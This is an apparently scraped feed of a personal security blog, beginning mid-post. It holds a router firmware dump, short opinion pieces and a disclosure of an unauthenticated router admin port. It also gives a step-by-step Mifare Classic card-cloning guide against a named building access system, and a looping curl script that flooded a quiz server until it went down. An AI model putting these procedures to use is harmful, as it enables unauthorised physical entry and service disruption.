a Change board AFE ID
b Change board parameters
reset Reset the board
help Obtain help for CFE commands
For more information about a command, enter 'help command-name'
*** command status = 0
CFE>
</pre>
</div>
<hr class="docutils" />
<div class="section" id="dumping">
<h2>Dumping</h2>
<pre class="literal-block">
CFE> dm 0xb8010000 0x1000
b8010000: ffffffff ffffffff ffffffff ffffffff ................
b8010010: ffffffff ffffffff ffffffff ffffffff ................
b8010020: ffffffff ffffffff ffffffff ffffffff ................
b8010030: ffffffff ffffffff ffffffff ffffffff ................
</pre>
<p>Oops, why aren't we getting anything. I then booted it up normally and discovered that</p>
<pre class="literal-block">
Code Address: 0x80010000, Entry Address: 0x802dc220
Decompression OK!
Entry at 0x802dc220
</pre>
</div>
<hr class="docutils" />
<div class="section" id="paydirt">
<h2>Paydirt</h2>
<pre class="literal-block">
CFE> dm 0x802dc220 0x10000
802dc220: 40086000 3c011000 3421001f 01014025 @.`.<...4!....@%
802dc230: 3908001f 40886000 000000c0 3c08802e 9...@.`.....<...
802dc240: 2508c24c 01000008 00000000 3c08803c %..L........<..<
802dc250: 25089000 ad000000 3e09803f 25290fbc %.......>..?%)..
802dc260: 25080004 1509fffe ad000000 3c01803c %...........<..<
802dc270: ac249724 3c01803c ac259728 3c01803c .$.$<..<.%.(<..<
802dc280: ac26972c 3c01803c ac279730 40802000 .&.,<..<.'.0@. .
802dc290: 3c1c8037 279c4000 241d3fe0 03bce821 <..7'.@.$.?....!
802dc2a0: 3c01803c ac3d9738 27bdfff0 080e65b4 <..<.=.8'.....e.
802dc2b0: 27bdfc00 3c04803a 27bdffe8 24849264 '...<..:'...$..d
802dc2c0: 00002821 afbf0014 0c00529a 24060a00 ..(!......R.$...
802dc2d0: 3c048005 24060600 2484b090 0c00529a <...$...$.....R.
802dc2e0: 00002821 3c058038 24a5b5b8 0c011db9 ..(!<..8$.......
802dc2f0: 00402021 3c03803c ac625510 0c0ecc1d .@ !<..<.bU.....
802dc300: 8f840000 0c01208e 00000000 0c0b7e20 ...... .......~
802dc310: 00000000 8fbf0014 08005284 27bd0018 ..........R.'...
</pre>
</div>
Cloning Mifare 1K cards2014-12-08T19:22:00+08:002014-12-08T19:22:00+08:00Benjamin Limtag:limbenjamin.com,2014-12-08:/articles/cloning-mifare-1k-cards.html<p>Disclaimer : The information provided here is solely for educational purposes.</p>
<p>The system I would be looking at is the ST Electronics' ST8100 Securnet. This is an integrated security management system that includes an access control module that manages physical access to facilities. One of the smartcards supported by the system …</p><p>Disclaimer : The information provided here is solely for educational purposes.</p>
<p>The system I would be looking at is the ST Electronics' ST8100 Securnet. This is an integrated security management system that includes an access control module that manages physical access to facilities. One of the smartcards supported by the system is the Mifare 1K cards. The system with the mifare card option is being used by a number of organizations including a university.</p>
<hr class="docutils" />
<div class="section" id="card-details">
<h2>Card Details</h2>
<p>The mifare card used by the system is the Mifare Classic 1K card, also known as the Mifare S50. Specifically, it uses the older 4 byte Non Unique ID (NUID) version. Out of the 16 sectors, only sector 1 and 2 are being used. Both Key A and key B for sectors 1 and 2 have been changed while the keys for all other sectors are left at default value. Key A for sector 1 and 2 is the same. All cards have unique keys for sector 1 and 2. Personal details of the individual card holder are stored in sector 1 and 2.</p>
</div>
<hr class="docutils" />
<div class="section" id="system-implementation">
<h2>System Implementation</h2>
<p>Bearing in mind that the entire research was conducted in a blackbox manner, there are certain implementation details that are conjectures. It is possible to elicit 3 types of responses from the system.</p>
<ol class="arabic simple">
<li>No reponse</li>
<li>No such user response</li>
<li>Access granted</li>
</ol>
<p>No response - The system will not respond if the 4 bit NUID is not tied to any user in the system</p>
<p>No such user response - The system will respond in such a way if the user does not belong to an access group that has access to the facility</p>
<p>Access granted - The user belongs to an access group that has access to the facility</p>
</div>
<hr class="docutils" />
<div class="section" id="access-groups">
<h2>Access Groups</h2>
<p>I have encountered situations when granting additional access did not require me to surrender my card. Hence, I believe that the access groups are stored at the backend and not the card. However, existing material from the vendor claimed that the group ID is encoded on the card itself. Furthermore, analysis of cards belonging to users from different 'departments' revealed that bytes 4 and 5 in block 5 appears to be the group id. Therefore, apart from access groups, I believe that the system allows for finer-grained control of access rights which are stored on the controller. These controls are used, in my opinion, for granting temporary access rights to a facility whereas access groups are meant for permanent access rights.</p>
</div>
<hr class="docutils" />
<div class="section" id="controller-pseudocode">
<h2>Controller Pseudocode</h2>
<pre class="literal-block">
def login(4 byte NUID, facility ID)
if (4 byte NUID does not exist)
return
if (4 byte NUID has temporary access rights to facility ID)
return "access granted"
else
retrieve group ID (key A) // Key A is retrieved from a key-value table and is mapped by NUID. The key is required to access sector 1 and 2
if (group ID has access rights to facility ID)
return "access granted"
return "no such user"
</pre>
</div>
<hr class="docutils" />
<div class="section" id="cloning-the-card">
<h2>Cloning the card</h2>
<p>Equipment required</p>
<ol class="arabic simple">
<li>UID changeable card (4 byte UID version)</li>
<li>NFC dongle that is supported (I used the ACR122T)</li>
<li>Linux machine</li>
</ol>
<p>Apart from cloning the contents of the card itself, we need to clone the 4 byte NUID as well. However, the UID for ordinary cards have been burned in. We would need to get the special "chinese" cards. Searching "uid changeable" on ebay or taobao will net you some. I would advise getting the full credit card sized version. The keychain sized one has problems with some readers probably because the antennae does provide enough power for the chip.</p>
<p>We would first need to install libnfc and mfoc. You have might to install certain dependencies depending on your distro.</p>
<pre class="literal-block">
apt install libusb-dev
git clone https://github.com/nfc-tools/libnfc.git
cd libnfc
git checkout libnfc-1.7.1
autoreconf -vis
./configure --prefix=/usr --sysconfdir=/etc
make
sudo make install
git clone https://github.com/nfc-tools/mfoc
cd mfoc
autoreconf -is
./configure
make
sudo make install
</pre>
<p>Next, we would use mfoc to brute force the keys for sector 1 and 2 and dump the data. It should take only a few minutes.</p>
<pre class="literal-block">
LIBNFC_LOG_LEVEL=3 mfoc -P 500 -O card.mfd
</pre>
<p>Then, we will overwrite the 4 Byte UID.</p>
<pre class="literal-block">
LIBNFC_LOG_LEVEL=3 nfc-mfsetuid <<insert UID here>>
</pre>
<p>If the command above returns an error, You might have purchased a variant of the "uid changable cards" which uses normal write instructions instead of special write instructions. Modify the source code as shown and recompile to force writing on sector 0 with normal write instructions. If it still does not work despite carrying out this step, you might have bought a normal card instead of the UID changeable card. It is impossible to change the UID of a normal card, since it is already burned in.</p>
<pre class="literal-block">
# Comment out Line 434 and 435 of /utils/nfc-mfclassic.c
// The first block 0x00 is read only, skip this
//if (uiBlock == 0 && !write_block_zero && !magic2)
//continue;
# Recompile
./configure --prefix=/usr --sysconfdir=/etc
make
sudo make install
</pre>
<p>Lastly, we would need to clone the binary data onto the new card.</p>
<pre class="literal-block">
LIBNFC_LOG_LEVEL=3 nfc-mfclassic w a card.mfd f
LIBNFC_LOG_LEVEL=3 nfc-mfclassic w b card.mfd f
</pre>
</div>
<hr class="docutils" />
<div class="section" id="proof-of-concept">
<h2>Proof of concept</h2>
<video src="//limbenjamin.com/media/mifare.webm" controls>
Your browser does not support the video tag.
</video></div>
A different kind of birthday attack2014-11-15T21:59:00+08:002014-11-15T21:59:00+08:00Benjamin Limtag:limbenjamin.com,2014-11-15:/articles/a-different-kind-of-birthday-attack.html<p>Considering how many people actually use their birthday as their ATM pin, this is bad from a security standpoint.</p>
<p><img alt="image" src="//i.imgur.com/Hr8vJrq.png" /></p>
Code runs on code2014-10-26T21:36:00+08:002014-10-26T21:36:00+08:00Benjamin Limtag:limbenjamin.com,2014-10-26:/articles/code-runs-on-code.html<p>This semester has been a rather hectic one. There is this massive Java Enterprise project that lasts throughout the entire semester. In the midst of this project, our team encountered a rather puzzling bug. Despite following the sample code snippets closely and trawling through Stack Overflow, we were unable to …</p><p>This semester has been a rather hectic one. There is this massive Java Enterprise project that lasts throughout the entire semester. In the midst of this project, our team encountered a rather puzzling bug. Despite following the sample code snippets closely and trawling through Stack Overflow, we were unable to rectify the bug. The stack traces was of no use as well, none of the functions referenced were coded by us. Stumped, we decided to consult our lecturer who spent a considerable amount of time trying to debug and eventually suggested that we update our JDK as a last resort.</p>
<p>Lo and behold, the bug was with the JDK itself. Let me first qualify that we were not using an archaic version of Java released many years ago but JDK 8u5 which was released barely 5 months ago. The update to JDK 8u20 fixed the bug. It was a relatively obscure bug involving passing a long/int as a parameter to a remote interface via RMI which caused a CORBA marshalling exception.</p>
<p>This episode serves as a timely reminder for me that code runs on code. The methods that we rely heavily on are written by programmers who do make mistakes as well. Often times, I treat them as a black box, simply calling the methods and expecting to receive the output specified in the API. I assume that all bugs must be a result of a mistake on my part. After this episode, I would be adding an additional step into my debugging routine. If all else fails, update the SDK. If all else fails again, file a bug report?</p>
Flaws of a single ecosystem2014-09-07T10:24:00+08:002014-09-07T10:24:00+08:00Benjamin Limtag:limbenjamin.com,2014-09-07:/articles/flaws-of-a-single-ecosystem.html<p>The post is triggered by the <a class="reference external" href="http://www.theguardian.com/technology/2014/sep/05/apple-tightens-icloud-security-after-celebrity-nude-photo-hack">recent leak of celebrity nude photos</a>. Apple has claimed that the iCloud ecosystem is secure and the leak was the result of targeted attempts. Nevertheless, they eventually decided to tighten the security of the ecosystem. This is not an isolated incident as I clearly …</p><p>The post is triggered by the <a class="reference external" href="http://www.theguardian.com/technology/2014/sep/05/apple-tightens-icloud-security-after-celebrity-nude-photo-hack">recent leak of celebrity nude photos</a>. Apple has claimed that the iCloud ecosystem is secure and the leak was the result of targeted attempts. Nevertheless, they eventually decided to tighten the security of the ecosystem. This is not an isolated incident as I clearly recall a <a class="reference external" href="http://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/all/">previous incident</a> involving social engineering to trigger a password reset. The hacker then went on to use the "Find my iDevice" feature to systematically erase the victim's iPhone, iPad, iMac, completely cutting him off the internet.</p>
<p>Having all of your devices and data stored on a single ecosystem is very risky. The provider might have implemented multiple security features including 2FA but at the end of the day, the weakest link is still the user, who can be social engineered into revealing whatever privileged information required. Financial advisors have long been preaching the message of not "putting all your eggs into one basket" but the idea has not really caught on in consumer IT.</p>
<p>One of the biggest benefits of a single ecosystem is the syncing of data across devices seamlessly without any user intervention. However, this gives rise to yet another problem. Most users have no idea how much information is being synced and where it is stored since it is all done automatically. For example, Mary Winstead claims that the leaked photos were deleted a long time ago. Few people knew that Apple kept 3 backup images just in case the most recent backup image is corrupted. Backing up your data manually might require a bit of technical knowledge but it gives you much more assurance about the security of your data.</p>
<p>Lastly, there is an inherent risk with storing data on the cloud. Data loss might occur due to mistakes made by employees or the company itself might even cease to exist. I do use the cloud to store my data but my mantra is "Store only what you can afford to lose". I always keep my most private data off the cloud and on my own HDD.</p>
<p>Edit: It has happened. Files were lost due to a <a class="reference external" href="http://www.engadget.com/2014/10/13/dropbox-selective-sync-bug/">bug</a> in Dropbox's selective sync feature.</p>
Software Versioning2014-07-21T00:17:00+08:002014-07-21T00:17:00+08:00Benjamin Limtag:limbenjamin.com,2014-07-21:/articles/software-versioning.html<p>I have recently started managing yet another server. The server is running Ubuntu 14.04 LTS and therefore support is good for another 5 years. Just to be safe, I double checked the openssl version after updating to make sure that it is not vulnerable to heartbleed.</p>
<pre class="literal-block">
# openssl version
OpenSSL …</pre><p>I have recently started managing yet another server. The server is running Ubuntu 14.04 LTS and therefore support is good for another 5 years. Just to be safe, I double checked the openssl version after updating to make sure that it is not vulnerable to heartbleed.</p>
<pre class="literal-block">
# openssl version
OpenSSL 1.0.1f 6 Jan 2014s
</pre>
<p>From the back of my mind, i recalled that versions a-f were vulnerable and initially thought that my server was at risk. It was only after googling that I realised that the binary was actually patched. However, the maintainers decided not to increment the version number and also left the date unchanged. By not having standardised version numbers across distros, it is difficult for sysadmins to keep track of vulnerable machines. It seems puzzling that the patch is done at the distro level and not by openssl itself. Subsequently, by adding "-a" to the command revealed that the binary was indeed patched and built on a later date.</p>
<pre class="literal-block">
# openssl version -a
OpenSSL 1.0.1f 6 Jan 2014
built on: Fri Jun 20 18:54:02 UTC 2014
platform: debian-amd64
</pre>
Wireless Woes2014-07-12T10:45:00+08:002014-07-12T10:45:00+08:00Benjamin Limtag:limbenjamin.com,2014-07-12:/articles/wireless-woes.html<p>My struggle with wireless networking has spanned several years. One major problem with wireless is the short coverage range. As a result, rooms that are further from the router experience spotty coverage at very low speeds(1 Mbps).</p>
<p>One of the initial solutions I have tried is using a wireless …</p><p>My struggle with wireless networking has spanned several years. One major problem with wireless is the short coverage range. As a result, rooms that are further from the router experience spotty coverage at very low speeds(1 Mbps).</p>
<p>One of the initial solutions I have tried is using a wireless repeater placed midway. The repeater is actually an old router that has been flashed with dd-wrt to provide the functionality. While the solution sort of worked, the drawback was that the throughput is halved (since wifi is half duplex), and the latency is doubled (bad for gaming). Adding on to that, if you happened to be standing at a location where the 2 signals are almost the same strength, there is a tendency for your device to continually switch between the 2 routers, resulting in an unusable connection. Reducing the aggressiveness of the roaming policy helps but there is no such option on certain devices.</p>
<p>To combat the roaming issue, I tried assigning a different SSID to the repeater. The drawback was that the device would not immediately connect to the SSID with the stronger signal and you had to manually connect to it. The throughput and latency issues remained. With the advent of 802.11n and 802.11ac over the last couple of years, not much has changed. The 5Ghz spectrum has an even shorter range and poorer wall penetration than the 2.4Ghz spectrum. Homeplugs were not an option since the electrical wiring in my house is split into 2 independent circuits.</p>
<p>The only remaining solution was to "wire up", which I got around to doing just recently. Though it is unsightly and a little messy (still have to find a way to get it through the door frame), all my connection problems practically disappeared overnight.</p>
unrar2014-06-22T22:31:00+08:002014-06-22T22:31:00+08:00Benjamin Limtag:limbenjamin.com,2014-06-22:/articles/unrar.html<p>I am quite surprised to find that linux has quite poor support for rar files. I have tried both unrar-free as well as the non-free version but both fail spectacularly at decompressing password protected multi-part archives. A few seconds into decompressing, an error message pops up claiming the file is …</p><p>I am quite surprised to find that linux has quite poor support for rar files. I have tried both unrar-free as well as the non-free version but both fail spectacularly at decompressing password protected multi-part archives. A few seconds into decompressing, an error message pops up claiming the file is unsupported. rar seems to be a relatively common compression format especially for the windows camp. The linux camp has many alternatives (gz, bz, bz2 ... ) but the issue is when receiving a file from a window's user, it is likely to be in rar or 7z, therefore support for rar is still important.</p>
<p>What makes it even more frustrating is that both versions have different switches for even the most common function.</p>
<pre class="literal-block">
unrar
-e (extract files)
-p (print file to stdout)
-v (verbosely list archive)
unrar-free
-x (extract files)
-p (supply password)
-V (version info)
</pre>
<p>The flags for unrar-free are similar to those for gzip but the conflict with unrar causes lots of confusion for users. Nevertheless, both do not work properly. I would have to stick to decompressing them on my windows machine</p>
Problems with Distributed Architecture2014-06-16T20:47:00+08:002014-06-16T20:47:00+08:00Benjamin Limtag:limbenjamin.com,2014-06-16:/articles/problems-with-distributed-architecture.html<p>As reported <a class="reference external" href="http://arstechnica.com/security/2014/06/bitcoin-security-guarantee-shattered-by-anonymous-miner-with-51-network-power/">here</a>, a bitcoin mining pool has contributed 51% of total hashing output which theoretically allows them to double spend bitcoins or to deny other miner's transactions. I am not an expert at bitcoins but it appears that the distributed architecture is a crucial feature in ensuring the integrity …</p><p>As reported <a class="reference external" href="http://arstechnica.com/security/2014/06/bitcoin-security-guarantee-shattered-by-anonymous-miner-with-51-network-power/">here</a>, a bitcoin mining pool has contributed 51% of total hashing output which theoretically allows them to double spend bitcoins or to deny other miner's transactions. I am not an expert at bitcoins but it appears that the distributed architecture is a crucial feature in ensuring the integrity of the currency.</p>
<p>A similar problem exists in the Tor protocol. If a single entity controls a majority of tor exit nodes, there is a probability that that entity might be controlling all 3 nodes that the traffic is currently being routed through. As a result, that entity would be able to capture the entire packet stream, he would be able to determine the source address, the destination address and even the contents if HTTPS was not used.</p>
<p>The world we live in is has a great deal of inequality. 1% of the world population own nearly 50% of the wealth in the entire world. It is not surprising if 1% of the world's organisations own 50% of the world's computing power. The processing power could then be channeled into mining bitcoins or running tor exit nodes. If we continue developing distributed systems that is extremely dependent on its distributed nature to ensure security/reliability/integrity, I believe that such incidents would be more common in the near future.</p>
New Form of DDoS2014-06-02T06:22:00+08:002014-06-02T06:22:00+08:00Benjamin Limtag:limbenjamin.com,2014-06-02:/articles/new-form-of-ddos.html<p>I was always hesitant to use pay-as-you-use services like Amazon AWS, Microsoft Azure and Google App Engine for fear that the cost might spiral out of control if I turn out to be the target of a DDos attack. I did eventually try out app engine, but only because it …</p><p>I was always hesitant to use pay-as-you-use services like Amazon AWS, Microsoft Azure and Google App Engine for fear that the cost might spiral out of control if I turn out to be the target of a DDos attack. I did eventually try out app engine, but only because it was possible not to link a credit card. It turns out that my fears are not unfounded though. Someone did manage to rack up $1000 in bandwidth bills <a class="reference external" href="http://www.behind-the-enemy-lines.com/2012/04/google-attack-how-i-self-attacked.html">here</a>. This is a new form of DDoS, availability is not compromised since Amazon simply scales up, but your pockets are affected.</p>
<p>Much may have changed since the blog post 2 years ago, however the fact that you need to tie a credit card to the account does make me feel uncomfortable. Microsoft Azure works similarly although I am told that they will not charge to your card without your permission and would rather kill your server.</p>
<p>The other issue is the dozens of categories you have to take into account. By signing up for a $10 a month hosting, I know the amount I have to pay monthly. With AWS, you have to pay a few cents for storage, a few more cents for bandwidth, a few more for processing, so on and so forth. This is further complicated by having different rates for different locations and bulk rates that are cheaper. Unless you study all the documents religiously and carry out your own experiments and observations, you might end up paying a couple dollars more without optimising your usage.</p>
<p>Nevertheless, the beauty of services such as these is you pay for only what you use. If my website has low traffic, my costs might actually be lower than a fixed amount every month. To get me to switch over is rather simple, I ask for a monitoring feature that shuts down my instances once a certain amount is hit. To me, keeping my website below budget is more important than availability. As far as I know, amazon does not provide such as service as of yet.</p>
Web Development in Singapore2014-05-21T04:25:00+08:002014-05-21T04:25:00+08:00Benjamin Limtag:limbenjamin.com,2014-05-21:/articles/web-development-in-singapore.html<p>In light of the recent fiasco over the NDP website, I thought it
would be apt for me to share my thoughts on how I believe web
development in Singapore has ended up in this dismal state today. This
is definitely not an isolated case, the series of breaches by …</p><p>In light of the recent fiasco over the NDP website, I thought it
would be apt for me to share my thoughts on how I believe web
development in Singapore has ended up in this dismal state today. This
is definitely not an isolated case, the series of breaches by Messiah
last year being proof.</p>
</p><div class="line-block">
<div class="line"><br /></div>
</div>
<div class="section" id="lack-of-regulation">
<h2>Lack of regulation</h2>
</p><div class="line-block">
<div class="line"><br /></div>
</div>
<p>Unlike engineering or architecture, software development is not a
profession. Therefore, developers do not need licenses to practice, they
do not need to pass exams or abide by the rules set down by professional
bodies. In short, anyone can attend a 3 day crash course on web design
and call himself a web developer.</p>
</p><p>Case in point:</p>
<p><img alt="image0" src="http://limbenjamin.com/media/code4hope.png" /></p>
<p>It might have been for a good cause but what happens if the website gets
compromised. Our buildings are designed by licensed architects who are
held responsible in the event of a collapse. Yes, people may lose their
lives when buildings collapse, but software bugs have the potential to
affect thousands or even tens of thousands if the website is very
popular. However, developers are not held accountable for bugs in their
code. Often times, the client even has to pay the developers an
additional amount to maintain the code. Unfortunately, due to the
complex nature of software development, a certain amount of bugs are
unavoidable.</p>
</div>
<div class="section" id="better-cheaper-faster">
<h2>Better, cheaper, faster</h2>
</p><div class="line-block">
<div class="line"><br /></div>
</div>
<p><img alt="image1" src="http://limbenjamin.com/media/buildingtopple.jpg" /></p>
<p>This is what happens when lack of regulation intersects with better,
cheaper, faster. The project is awarded to a contractor without proper
expertise and qualification, corners are cut and cheaper materials are
used. The construction industry has already moved beyond that. Sadly,
this is currently where software development actually is. Projects are
awarded to the lowest bidder who then turn to unqualified people who are
willing to accept lower wages. They produce work of poor quality and
cycle repeats.</p>
</div>
<div class="section" id="what-s-next">
<h2>What's next</h2>
</p><div class="line-block">
<div class="line"><br /></div>
</div>
<p>We cant simply wait for the government to impose regulations. Businesses
must start to consider the financial impact of poor software quality.
Other than the cost of a potential security breach, poor software
quality affects productivity and costs more to maintain. Only when they
start awarding contracts to those who can provide value for money will
the software industry get the message and step up their game.</p>
<p>As the saying goes, if you pay peanuts, you will get monkeys.</p>
</div>
How I (cheated and) won a quiz2014-05-08T07:09:00+08:002014-05-08T07:09:00+08:00Benjamin Limtag:limbenjamin.com,2014-05-08:/articles/how-i-cheated-and-won-a-quiz.html<p>The quiz in question. In case anyone is not familiar with it.
(attractive?) prizes to be won.</p>
</p><p><center></p><p><img alt="image0" src="//limbenjamin.com/media/soc_quiz.png" /></p>
<p></center></p><p>A quick packet capture revealed that the questions could be found <a class="reference external" href="https://demopage.in/fb/rapidfire/getquestion.php">here</a>
in JSON format. This is what is looked like. Interesting that the
answers were included even through "marking" was done only …</p><p>The quiz in question. In case anyone is not familiar with it.
(attractive?) prizes to be won.</p>
</p><p><center></p><p><img alt="image0" src="//limbenjamin.com/media/soc_quiz.png" /></p>
<p></center></p><p>A quick packet capture revealed that the questions could be found <a class="reference external" href="https://demopage.in/fb/rapidfire/getquestion.php">here</a>
in JSON format. This is what is looked like. Interesting that the
answers were included even through "marking" was done only on the server
side. The questions were randomly generated.</p>
</p><p><center></p><p><img alt="image1" src="//limbenjamin.com/media/soc_qn.png" /></p>
<p></center></p><p>The quiz allowed you to make repeated attempts to improve your score so
the simplest way was to keep sending in your answers (automatically of
course!). Since I was too lazy to parse the JSON and I figured that they
probably didn't check for duplicate qns, I reused the same question
number. The bash script.</p>
</p></p><pre class="literal-block">
#!/bin/bash
while :
do
curl -k -i --raw -o /dev/null -X POST -d "hiddenmemberid=(redacted)&redirecturl=https%%3A%%2F%%2Fwww.facebook.com%%2Fnusschoolofcomputing%%2F%%3Fsk%%3Dapp\_1441375262772058&token=3e191a89c94fda84460bfa8282d4d65a&radio0=1&qstnid0=4&radio1=1&qstnid1=4&radio2=1&qstnid2=4&radio3=1&qstnid3=4&radio4=1&qstnid4=4&radio5=1&qstnid5=4&radio6=1&qstnid6=4&radio7=1&qstnid7=4&radio8=1&qstnid8=4&radio9=1&qstnid9=4&radio10=1&qstnid10=4&radio11=1&qstnid11=4&radio12=1&qstnid12=4&radio13=1&qstnid13=4&radio14=1&qstnid14=4" "https://demopage.in/fb/rapidfire/resultfile.php" -H "Host: demopage.in" -H "Connection: keep-alive" -H "Cache-Control: max-age=0" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8" -H "Origin: https://demopage.in" -H "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36" -H "Content-Type: application/x-www-form-urlencoded" -H "Referer: https://demopage.in/fb/rapidfire/" -H "Accept-Encoding: gzip,deflate,sdch" -H "Accept-Language: en-US,en;q=0.8" -H "Cookie: PHPSESSID=(redacted)"
done
</pre>
<p>Obviously, I wasn't the only one to figure it out</p>
<p><center></p><p><img alt="image2" src="//limbenjamin.com/media/soc_results.png" /></p>
<p></center></p><div class="section" id="the-race-to-the-end">
<h2>The race to the end</h2>
</p><p>To win, you couldn't send the packets 1 at a time. You needed to run
multiple threads simultaneously. I had about 30 going on at the same
time. My upload/download was about 50kb/120kb. Since the packet size was
500bytes, I was sending about 100 packets/second which is 7500
points/sec.</p>
</p><p><center></p><p><img alt="image3" src="//limbenjamin.com/media/soc_cacti.png" /></p>
<p></center></p><p>Except it wasn't really true. Turns out that my server at home is more
powerful than theirs and it couldn't handle the load. This was not
obvious to me at first. I always had the impression that DDOS/DOS was
caused by bandwidth bottleneck. Attacks are measured in Gbps. Just
google "ddos gbps". How could 50kbps possibly saturate their bandwidth?
Although it is highly unscientific, I did check that I was the only one
with points increasing at a rate which could be quantified in terms of
points/sec. Since I was already in the lead by close to 20,000,000
points, I could afford to slow down and do a little experiment. I
gradually decreased the rate at which I was sending packets until I hit
what is supposedly the limit of the server at 7pm. I logged all
responses received, slowing down the rate I was sending until the number
of errors stabilised. Upload/download was about 12kb/40kb or 24
packets/sec.</p>
</p><div class="block"></p><pre class="literal-block">
while :
do
output=$(curl ....)
if ($output \| grep "200")
then echo "ok" >> access.log;
else
echo "err" >> error.log;
fi
done
</pre>
<p></div></p></div>
<div class="section" id="round-2">
<h2>Round 2</h2>
</p><p>The quiz was modified midway in what I suppose was an attempt to thwart
the use of scripts. It was a puzzling move as the makers of the quiz had
already approved of the use of scripts, calling it the "soc way" and
giving the 3rd prize to those who used scripts. Anyway, it did not
really affect me. The change required a valid PHP session and so I
manually completed the quiz once to obtain the session cookie which is
used in future requests. The endpoint was also changed but a packet
capture revealed the new endpoint.</p>
</p><div class="line-block">
<div class="line"><br /></div>
</div>
</div>
<div class="section" id="ethicality">
<h2>Ethicality</h2>
</p><p>By the time I found out about the quiz, the top 5 spots or so were
already taken by scripters. Therefore, I wasn't depriving any legitimate
player a chance at the prize, so I reasoned that it was ok. The DOS
attack was unintentional, I had no idea that a single person with a
1mbps upload connection could DOS an entire instance and cause a number
of websites to be unavailable. As for the prizes, I thought that I would
be banned/blocked. After all, the main motivation was to destress and
have fun.</p>
</p><p>The final results</p>
</p><p><center></p><p><img alt="image4" src="//limbenjamin.com/media/soc_results2.png" /></p>
<p></center></p></div>
Immigration checks2014-03-10T09:19:00+08:002014-03-10T09:19:00+08:00Benjamin Limtag:limbenjamin.com,2014-03-10:/articles/immigration-checks.html<p>Earlier today, some MD of a security firm on channel new asia commented
that it is impossible to check every single passport against the list of
stolen passports due to the time needed to search the database. Such
stringent checks would result in massive holdups at checkpoints.
Therefore, apart from …</p><p>Earlier today, some MD of a security firm on channel new asia commented
that it is impossible to check every single passport against the list of
stolen passports due to the time needed to search the database. Such
stringent checks would result in massive holdups at checkpoints.
Therefore, apart from biometric passports which have an added layer of
security, immigration officers can only do a visual comparison of the
face and the passport photo. The statement was made in context to 2
passengers using stolen passports to board the flight MH370.</p>
<p>It is definitely appalling that despite the state of technology today,
we are still using humans to do a visual comparison. Even with
biometrics out of the picture, there are a lot of other ways to improve
on the current process. E.g. Photographs can be taken and software can
map out and calculate the distance between certain features and compare
it to the passport photos. I am sure that it would be way more reliable
then visual checks by humans. There are probably many other methods such
as using fingerprint that would be better than the current system. Such
technology has also been around for quite some time and implementation
costs are quite low.</p>
<p>Indeed, security only comes to the forefront after a major breach such
as this has occurred. It is also extremely difficult to change due to
the fact that all countries have to support the new standard.</p>
<p>A quick search online revealed that interpol has a list of 40 million
stolen passports. While I am no expert, I am guessing that with today's
hardware(SSDs) and proper database tuning (possibly the use of in-memory
dbms like redis), the query should not take longer than a few seconds,
just long enough for the officer to chop on the passport.</p>
Encryption and blackmailing2014-02-22T20:26:00+08:002014-02-22T20:26:00+08:00Benjamin Limtag:limbenjamin.com,2014-02-22:/articles/encryption-and-blackmailing.html<p>Just read something quite interesting <a class="reference external" href="http://blog.cassidiancybersecurity.com/post/2014/02/Bitcrypt-broken">here</a>.</p>
<p>Apparently, all the research put into mathematical algorithms is a
double edged sword. Encryption can be used to deny the rightful owner
access to his data. Fortunately, the attacker in this case made a
mistake resulting in a 128 bit key that was easily …</p><p>Just read something quite interesting <a class="reference external" href="http://blog.cassidiancybersecurity.com/post/2014/02/Bitcrypt-broken">here</a>.</p>
<p>Apparently, all the research put into mathematical algorithms is a
double edged sword. Encryption can be used to deny the rightful owner
access to his data. Fortunately, the attacker in this case made a
mistake resulting in a 128 bit key that was easily brute forced. If he
had used an actual 1024 bit key, it would have been impossible to
recover the data.</p>
<p>Encryption seems to be the perfect tool for such an application. The
alternative would be to upload all the data onto a server the attacker
controls and wiping it off the disk. However such an operation would
likely raise a couple of red flags especially in corporate environments
due to the high volume of network traffic. In addition, the attacker
would also need to provision for a server which increases costs and
might give him away. In place encryption allows him to render the data
useless to the owner and the only actual signs would be an increase in
CPU usage. If implemented properly, the victim might not even realise
until it is too late. Demanding payment in through bitcoins also helps
preserve his anonymity.</p>
<p>Quite a novel application for encryption indeed.</p>
Singtel's 5012NV-002 vulnerability2014-02-01T21:56:00+08:002014-02-01T21:56:00+08:00Benjamin Limtag:limbenjamin.com,2014-02-01:/articles/singtels-5012nv-002-vulnerability.html<p>Type: Open port</p>
<p>Affects: Singtel's firmware on 2wire 5012NV-002</p>
<p>Version: (HW version: 2701-000808-004, SW version: 9.3.1.29)</p>
<p>(Unable to ascertain if other versions are affected as I do not have access to the firmware)</p>
<p>Severity: High</p>
<p>Ease of exploit: Low</p>
<p>Impact: Allows an attacker to gain access to …</p><p>Type: Open port</p>
<p>Affects: Singtel's firmware on 2wire 5012NV-002</p>
<p>Version: (HW version: 2701-000808-004, SW version: 9.3.1.29)</p>
<p>(Unable to ascertain if other versions are affected as I do not have access to the firmware)</p>
<p>Severity: High</p>
<p>Ease of exploit: Low</p>
<p>Impact: Allows an attacker to gain access to the admin page of the router.</p>
<hr class="docutils" />
<div class="section" id="technical-details">
<h2>Technical details:</h2>
<p>The affected routers expose the admin page on port 2046 of the WAN interface. Of all the routers I have seen, none have required any form of authentication. Targets can be found very quickly by scanning port 2046 of IP addresses which Singtel issues to its subscribers. A quick scan of 1275 addresses found approximately 10 hosts which were vulnerable. Compromising the router is as simple as pointing your browser to <a class="reference external" href="http://xxx.xxx.xxx.xxx:2046">http://xxx.xxx.xxx.xxx:2046</a>.</p>
</div>
<hr class="docutils" />
<div class="section" id="potential-exploits-in-order-of-severity">
<h2>Potential exploits (in order of severity):</h2>
<ol class="arabic simple">
<li>Routing table poisoning - The attacker can add a static route to direct traffic from a certain subset of IP addresses to an address which he controls. Traffic can be sniffed or a man-in-the-middle attack can be executed, compromising the privacy of the victim.</li>
<li>Rouge firmware upload - The attacker can upload a modified firmware with any type of exploit built-in for his use. e.g. a proxy server to redirect traffic. Note: There may be mechanisms in place to prevent it from occurring. e.g. firmware has to be signed by manufacturer's key. I have not tested it out.</li>
<li>Denial-of-service - The attacker can change the wifi password thus locking out the victim's wireless devices. He could also repeatedly reboot the router.</li>
</ol>
</div>
<hr class="docutils" />
<div class="section" id="mitigation-techniques">
<h2>Mitigation techniques:</h2>
<ol class="arabic simple">
